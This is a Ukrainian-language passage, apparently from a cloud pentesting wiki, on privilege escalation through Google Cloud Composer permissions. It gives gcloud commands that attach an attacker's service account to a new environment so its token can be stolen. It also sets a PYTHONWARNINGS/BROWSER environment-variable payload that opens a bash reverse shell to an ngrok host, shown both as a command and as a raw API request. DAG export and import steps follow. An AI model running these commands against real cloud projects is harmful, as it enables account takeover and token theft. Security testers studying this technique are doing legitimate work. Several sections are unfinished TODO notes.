composer
Більше інформації:
GCP - Composer Enum composer.environments.create
Можливо прикріпити будь-який обліковий запис служби до новоствореного середовища composer з цим дозволом. Пізніше ви можете виконати код всередині composer, щоб викрасти токен облікового запису служби.
Copy gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account= "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
Більше інформації про експлуатацію тут .
composer.environments.update
Можливо оновити composer environment, наприклад, змінюючи змінні середовища:
Copy # Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location < locatio n > \
--project < project-i d >
# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
TODO: Отримати RCE, додавши нові pypi пакети до середовища
Завантажити Dags
Перевірте вихідний код dags, що виконуються:
Copy mkdir /tmp/dags
gcloud composer environments storage dags export --environment < environmen t > --location < lo c > --destination /tmp/dags
Import Dags
Імпорт Dags коду для компрометації середовища та можливості викрадення токена з метаданих endpoint:
Copy # TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/asd
Імпорт Плагінів
TODO: Перевірити, що можливо скомпрометувати шляхом завантаження плагінів
Імпорт Даних
TODO: Перевірити, що можливо скомпрометувати шляхом завантаження даних